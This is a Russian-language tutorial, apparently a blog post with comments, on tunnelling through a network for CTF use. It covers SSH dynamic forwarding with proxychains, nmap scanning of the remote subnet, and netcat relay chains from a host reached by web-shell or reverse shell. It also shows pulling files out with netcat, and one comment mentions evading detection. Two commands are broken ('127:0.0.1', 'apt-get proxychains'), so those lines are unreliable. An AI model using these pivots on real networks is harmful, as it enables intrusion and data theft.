Итак, какие еще способы тунеллирования есть:
1. Динамический доступ через SSH
Допустим мы имеем SSH доступ в сеть, и хотим получить доступ к другим хостам/портам в этой сети. Способ уже описанный в вышеупомянутой статье предполагает знание хоста: порта куда мы хотим получить доступ. Но что если мы не знаем этого?
Тут может пригодиться динамический доступ через SSH. Для его конфигурации используется опция ssh -D.
ssh -D 127:0.0.1:2222 user@remotehost
После подключения вы получите динамический socks4 прокси-сервер, слушающий на своей машине на порту 2222 и предоставляющий доступ к удаленной сети.
Как воспользоваться этим доступом? Один из вариантов — использовать proxychains.
- Устанавливаем Proxychains:
apt-get proxychains
- Конфигурируем proxychains для использования порта 2222 (на нем слушает наш прокси). Для этого редактируем файл /etc/proxychains.conf и меняем текущую конфигурацию в разделе [ProxyList] с socks4 127.0.0.1 9050 на socks4 127.0.0.1 2222
- Теперь мы можем использовать proxychains с (почти) любой утилитой. Например, можно запустить сканирование всей удаленной сети при помощи nmap:
proxychains nmap -sT -sV -v -P0 адрес_подсети маска_подсети
Второй вариант — прописать адрес этого прокси сервера 127.0.0.1:2222 прямо у себя в браузере. В результате мы сможем ходить на любые веб-сервера в удаленной подсети.
Очень важно понимать что ProxyChains не зря имеют Chains (переводится как «цепи» или «цепочки») в своем названии. Это значит, что можно выстраивать цепочки из прокси и таким образом строить туннели через множество подсетей. Как это сделать — предлагаю изучить самостоятельно.
2. Туннели NetCat (nc)
Практика показывает, что многие просто не знают об этом функционале NetCat. Итак, представим гипотетическую ситуацию:
- У нас есть доступ в удаленную посдеть на один компьютер (например при помощи web-shell). Будем называть этот компьютер «промежуточый компьютер»;
- Есть доступ к netcat на этом компьютере;
- Можем с этого компьютера подключаться при помощи Netcat на свой компьютер (но не наоборот — т.е. у нас т.н. reverse shell);
- Имеется горячее желание подключиться к какому-то серверу в удаленной сети, например, по протоколу ssh на порту 22, а ssh клиента на промежуточном компьютере нет и поставить его нельзя.
Эта задача легко решается при помощи netcat туннелей. Для этого на своей машине запускаем следующие команды:
mknod backpipe -p
nc -lvp 1234 0<backpipe | nc -lvp 8443 1>backpipe
При этом нужно иметь права на запись в текущую директорию, чтобы создать файл backpipe, и удостовериться, что другие сервисы не слушают на портах 1234 и 8443.
На промежуточной машине делаем:
mknod backpipe -p
nc адрес_вашего_компьютера 8443 0<backpipe | nc адрес_удаленного_сервера 22 1>backpipe
При этом нужно иметь права на запись в текущую директорию чтобы создать файл backpipe. Дальше на своей машине делаем ssh -p 1234 user@127.0.0.1 и получаем прямой ssh доступ на удаленный компьютер.
В качестве слегка альтернативных комманд можно использовать:
mkfifo backpipe (аналог mknod -p)
nc -lvp 1234 0<backpipe | nc -lvp 8443 | tee backpipe
Здесь важно понимать, что netcat-клиент и netcat-сервер можно комбинировать в любых сочетаниях, а цепочку выстраивать любой длины. Например, вариант когда мы имеем прямой доступ на «промежуточный компьютер».
Не забываем создавать backpipe на каждой машине!
На своей машине:
nc -lp 1234 0<backpipe | nc адрес_промежуточного_компьютера 443 1>backpipe
На промежуточном компьютере 1:
nc -lp 443 0<backpipe | nc адрес_второго_промежуточного_компьютера 443 1>backpipe
…
На промежуточном компьютере n:
nc -lp 443 0<backpipe | nc адрес_n+1_промежуточного_компьютера 443 1>backpipe
На промежуточном компьютере n+1:
nc -lp 443 0<backpipe | nc адрес_цели порт_цели 1>backpipe
Также можно использовать любые удобные вам порты и имена пайпов.
Аналогичным образом можно передавать файлы с машины на машину.
Например. На своей машине:
nc -lp 443 >file.txt
На машине, где лежит файл:
nc -lp 443 <file.txt
На промежуточной машине:
nc адрес_вашего_компьютера 443 | nc адрес компьютера_где_лежит_файл 443
В данном случае создавать backpipe не нужно, т.к. мы не поддерживаем сессию, а просто передаем 1 файл в рамках одной сессии.
Пожалуй, на этом все. Мне это очень помогает при прохождении различных CTF, надеюсь, и вам пригодится.
Комментарии (7)
Tihon_V
30.05.2016 16:26+2Zwerg
30.05.2016 16:39+2scp используется для передачи файлов. Да, когда есть ssh туннель для передачи файлов удобнее использовать scp. Когда SSH туннеля нет — можно использовать кучу методов в т.ч. ftp, http, sftp, tftp и в частности nc. Вообще передача файлов из удаленной сети — отдельная тема для разговора, особенно интересен вопрос избегания детектирвоания средствами обнаружения при передаче файла.
rhamdeew
30.05.2016 17:09+1Еще можно написать про .ssh/config в котором все это дело можно красиво прописать и сделать удобные алиасы.
По примеру с передачей файла я бы лучше взял scp и примерно вот такой конфиг:
scp file.txt jump:~/ ... Host jump ProxyCommand ssh -q -p22 proxy-server nc -q0 remote 22 User user1
Ramzeska
31.05.2016 06:27Часто пользуюсь другой командой — ssh… -L 8080:remote_ip:port. Например посмотреть что там с lte-модемом, смски проверить. Пробрасывается локальный порт туда, куда укажешь. Заходишь на 127.0.0.1:8080 и смотришь че там внутри той сети. И не надо никаких прокси.
Zwerg
31.05.2016 07:47Про эту функцию рассказано в статье oldgremlin которую я собственно и дополнял.
apatrushev
31.05.2016 16:46Рекомендую обратить внимание на socat tun: http://www.dest-unreach.org/socat/doc/socat-tun.html
simonuvarov
Прям сразу видно, кто проходит лабу :)